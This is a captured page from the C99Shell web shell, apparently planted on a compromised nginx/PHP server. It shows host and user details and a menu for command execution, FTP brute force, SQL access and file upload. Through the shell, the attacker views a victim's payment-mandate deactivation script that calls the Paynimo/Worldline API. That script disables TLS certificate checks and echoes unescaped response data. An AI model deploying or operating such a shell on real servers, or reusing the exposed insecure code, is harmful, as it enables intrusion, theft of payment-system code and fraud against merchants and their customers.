!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/emandate-si/   drwxrwxr-x
Free 39.76 GB of 48.28 GB (82.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mandate_deactivation_request.php (6.52 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

$base_url 
= isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on' 'https' 'http' ;
$base_url .= '://'.$_SERVER['HTTP_HOST'];
$base_url .= str_replace(basename($_SERVER['SCRIPT_NAME']), ''$_SERVER['SCRIPT_NAME']);

if(isset(
$_POST))
{
    
$type                      $_POST['type'];
    
$mandateRegistrationID     $_POST['mandateRegistrationID'];
    
$transactionIdentifier     rand(1,100000000);

    
$admin_data file_get_contents("../worldline_AdminData.json");
    
$mer_array json_decode($admin_datatrue);

      
$arr_req = array(
          
"merchant" => [
              
"webhookEndpointURL" => "",
            
"responseType" => "",
            
"responseEndpointURL" => "",
            
"description" => "",
            
"identifier" => $mer_array['merchantCode'],
            
"webhookType" => ""
          
],
        
"cart" => [
            
"item" => [
                [
                    
"description" => "",
                    
"providerIdentifier" => "",
                    
"surchargeOrDiscountAmount" => "",
                    
"amount" => "",
                    
"comAmt" => "",
                    
"sKU" => "",
                    
"reference" => "",
                    
"identifier" => ""
                
]
            ],
            
"reference" => "",
            
"identifier" => "",
            
"description" => "",
            
"Amount" => ""
        
],
        
"payment" => [
            
"method" => [
                
"token" => "",
                
"type" => ""
            
],
            
"instrument" => [
                
"expiry" => [
                    
"year" => "",
                    
"month" => "",
                    
"dateTime" => ""
                
],
                
"provider" => "",
                
"iFSC" => "",
                
"holder" => [
                    
"name" => "",
                    
"address" => [
                        
"country" => "",
                        
"street" => "",
                        
"state" => "",
                        
"city" => "",
                        
"zipCode" => "",
                        
"county" => ""
                    
]
                ],
                
"bIC" => "",
                
"type" => "",
                
"action" => "",
                
"mICR" => "",
                
"verificationCode" => "",
                
"iBAN" => "",
                
"processor" => "",
                
"issuance" => [
                    
"year" => "",
                    
"month" => "",
                    
"dateTime" => ""
                
],
                
"alias" => "",
                
"identifier" => "",
                
"token" => "",
                
"authentication" => [
                    
"token" => "",
                    
"type" => "",
                    
"subType" => ""
                
],
                
"subType" => "",
                
"issuer" => "",
                
"acquirer" => ""
            
],
            
"instruction" => [
                
"occurrence" => "",
                
"amount" => "",
                
"frequency" => "",
                
"type" => "",
                
"description" => "",
                
"action" => "",
                
"limit" => "",
                
"endDateTime" => "",
                
"identifier" => "",
                
"reference" => "",
                
"startDateTime" => "",
                
"validity" => ""
            
]
        ],
          
"transaction" => [
            
"deviceIdentifier" => "S",
            
"smsSending" => "",
            
"amount" => "",
            
"forced3DSCall " => "",
            
"type" => $type,
            
"description" => "",
            
"currency" => $mer_array['currency'],
            
"isRegistration" => "",
            
"identifier" => $transactionIdentifier,
            
"dateTime" => "",
            
"token" => $mandateRegistrationID,
            
"securityToken" => "",
            
"subType" => "005",
            
"requestType" => "TSI",
            
"reference" => "",
            
"merchantInitiated" => "",
            
"merchantRefNo" => ""
        
],
        
"consumer" => [
            
"mobileNumber" => "",
            
"emailID" => "",
            
"identifier" => "",
            
"accountNo" => ""
        
]
      );

    
$finalJsonReq json_encode($arr_req);

    function 
callAPI($method$url$finalJsonReq)
    {
        
$curl curl_init();
        switch (
$method){
            case 
"POST":
                
curl_setopt($curlCURLOPT_POST1);
                if (
$finalJsonReq)
                    
curl_setopt($curlCURLOPT_POSTFIELDS$finalJsonReq);
                break;
            case 
"PUT":
                
curl_setopt($curlCURLOPT_CUSTOMREQUEST"PUT");
                if (
$finalJsonReq)
                    
curl_setopt($curlCURLOPT_POSTFIELDS$finalJsonReq);                              
                break;
            default:
                if (
$finalJsonReq)
                    
$url sprintf("%s?%s"$urlhttp_build_query($finalJsonReq));
        }
        
// OPTIONS:
        
curl_setopt($curlCURLOPT_URL$url);
        
curl_setopt($curlCURLOPT_HTTPHEADER, array(
          
'Content-Type: application/json',
        ));
        
curl_setopt($curlCURLOPT_RETURNTRANSFER1);
        
curl_setopt($curlCURLOPT_HTTPAUTHCURLAUTH_BASIC);
        
curl_setopt($curlCURLOPT_SSL_VERIFYHOSTFALSE);
        
curl_setopt($curlCURLOPT_SSL_VERIFYPEERFALSE);
        
// EXECUTE:
        
$result curl_exec($curl);
        if(!
$result)
        {
            die(
"Connection Failure !! Try after some time.");
        }
        
curl_close($curl);
        return 
$result;
    }

    
$method 'POST';
    
$url "https://www.paynimo.com/api/paynimoV2.req";
    
$res_result callAPI($method$url$finalJsonReq);
    
$responseData json_decode($res_resulttrue);

    echo 
'<table class="table" border = "1" align="center" cellpadding="2" cellspacing="0" style="width: 50%;text-align: center;">
        <thead>
          <tr class="info">
            <th>Field Name</th>
            <th>Value</th>
          </tr>
        </thead>
        <tbody>
          <tr>
            <td>Status Code</td>
            <td>'
.$responseData["paymentMethod"]["paymentTransaction"]["statusCode"].'</td>
          </tr>
          <tr>
            <td>Merchant Transaction Reference No.</td>
            <td>'
.$responseData["merchantTransactionIdentifier"].'</td>
          </tr>
          <tr>
            <td>Status Message</td>
            <td>'
.$responseData["paymentMethod"]["paymentTransaction"]["errorMessage"].'</td>
          </tr>
        </tbody>
      </table>
      <br>
      <a href=' 
.$base_url"mandate-deactivation.php" '>Go Back To Mandate Deactivation</a>';
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0063 ]--